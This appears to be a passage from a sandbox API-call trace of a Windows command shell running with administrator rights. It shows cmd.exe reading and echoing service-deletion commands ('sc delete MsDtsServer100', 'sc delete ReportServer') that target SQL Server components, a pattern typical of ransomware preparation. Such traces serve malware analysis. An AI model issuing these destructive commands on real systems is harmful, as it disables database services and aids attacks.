NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0065.859] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd6000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0065.859] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0065.910] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0065.910] CloseHandle (hObject=0x54) returned 1 [0065.910] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0065.910] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0065.911] GetProcessHeap () returned 0x1b0000 [0065.911] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.911] GetEnvironmentStringsW () returned 0x1d1b10* [0065.911] GetProcessHeap () returned 0x1b0000 [0065.911] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0065.911] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.911] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0065.911] GetProcessHeap () returned 0x1b0000 [0065.911] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.911] GetEnvironmentStringsW () returned 0x1d1b10* [0065.911] GetProcessHeap () returned 0x1b0000 [0065.911] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0065.911] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.911] GetProcessHeap () returned 0x1b0000 [0065.911] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0065.911] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0065.911] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0065.912] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.912] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0065.912] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.912] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0065.912] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.912] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0065.912] GetConsoleOutputCP () returned 0x1b5 [0065.913] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.913] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.913] GetProcessHeap () returned 0x1b0000 [0065.913] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0065.913] GetProcessHeap () returned 0x1b0000 [0065.913] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0065.913] GetProcessHeap () returned 0x1b0000 [0065.913] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0065.913] GetProcessHeap () returned 0x1b0000 [0065.913] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc590 | out: hHeap=0x1b0000) returned 1 [0065.913] GetProcessHeap () returned 0x1b0000 [0065.913] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0065.913] GetProcessHeap () returned 0x1b0000 [0065.913] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0065.913] GetProcessHeap () returned 0x1b0000 [0065.913] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0065.913] GetProcessHeap () returned 0x1b0000 [0065.913] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0065.913] GetProcessHeap () returned 0x1b0000 [0065.913] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0065.914] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0065.914] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.914] GetFileType (hFile=0x120) returned 0x3 [0065.914] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.914] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.914] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0065.914] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0065.914] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.914] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0065.914] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0065.914] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.914] GetFileType (hFile=0x120) returned 0x3 [0065.914] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.914] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0065.914] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0065.915] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.915] GetFileType (hFile=0xb8) returned 0x3 [0065.915] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.915] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.915] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.915] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete MsDtsServer100\nService\n\n") returned 1 [0065.916] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.916] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.916] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete MsDtsServer100\nService\n\n") returned 1 [0065.917] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.917] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.917] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete MsDtsServer100\nService\n\n") returned 1 [0065.917] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.917] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.917] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete MsDtsServer100\nService\n\n") returned 1 [0065.917] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.917] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.917] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete MsDtsServer100\nService\n\n") returned 1 [0065.917] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.917] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.917] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete MsDtsServer100\nService\n\n") returned 1 [0065.917] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.917] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.918] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.918] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete MsDtsServer100\nService\n\n") returned 1 [0065.918] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.918] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.918] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.918] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te MsDtsServer100\nService\n\n") returned 1 [0065.918] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.918] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.918] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.918] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e MsDtsServer100\nService\n\n") returned 1 [0065.919] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.919] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.919] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.919] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" MsDtsServer100\nService\n\n") returned 1 [0065.919] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.919] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.919] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.919] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="RsDtsServer100\nService\n\n") returned 1 [0065.919] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.919] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.920] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.920] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="eDtsServer100\nService\n\n") returned 1 [0065.920] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.920] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.920] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.920] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="ptsServer100\nService\n\n") returned 1 [0065.920] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.920] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.920] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.920] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="osServer100\nService\n\n") returned 1 [0065.920] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.920] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.920] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.920] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="rServer100\nService\n\n") returned 1 [0065.920] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.920] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.920] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.920] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="terver100\nService\n\n") returned 1 [0065.920] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.920] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.920] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.921] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="Srver100\nService\n\n") returned 1 [0065.921] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.921] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.921] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.921] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="ever100\nService\n\n") returned 1 [0065.921] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.921] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.921] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.921] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="rer100\nService\n\n") returned 1 [0065.921] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.921] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.921] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.921] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="vr100\nService\n\n") returned 1 [0065.921] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.921] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.921] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.921] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="e100\nService\n\n") returned 1 [0065.921] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.921] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.922] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.922] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="r00\nService\n\n") returned 1 [0065.922] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.922] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.922] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.922] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="\n0\nService\n\n") returned 1 [0065.922] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.922] GetFileType (hFile=0xb8) returned 0x3 [0065.922] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.922] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.922] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.922] GetFileType (hFile=0x120) returned 0x3 [0065.922] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.922] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete ReportServer\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete ReportServer\n", lpUsedDefaultChar=0x0) returned 24 [0065.922] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x17, lpOverlapped=0x0) returned 1 [0065.922] GetProcessHeap () returned 0x1b0000 [0065.922] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0065.922] GetProcessHeap () returned 0x1b0000 [0065.922] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0065.922] GetProcessHeap () returned 0x1b0000 [0065.923] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0065.923] GetProcessHeap () returned 0x1b0000 [0065.923] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0065.923] GetProcessHeap () returned 0x1b0000 [0065.923] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3a) returned 0x1caa40 [0065.923] GetConsoleOutputCP () returned 0x1b5 [0065.923] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.923] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.923] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.923] GetProcessHeap () returned 0x1b0000 [0065.923] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0065.923] GetProcessHeap () returned 0x1b0000 [0065.923] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x40) returned 0x1caa90 [0065.924] GetProcessHeap () returned 0x1b0000 [0065.924] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0065.924] SetErrorMode (uMode=0x0) returned 0x1 [0065.924] SetErrorMode (uMode=0x1) returned 0x0 [0065.924] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0065.924] SetErrorMode (uMode=0x1) returned 0x1 [0065.924] GetProcessHeap () returned 0x1b0000 [0065.924] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0065.924] GetProcessHeap () returned 0x1b0000 [0065.924] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0065.924] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: 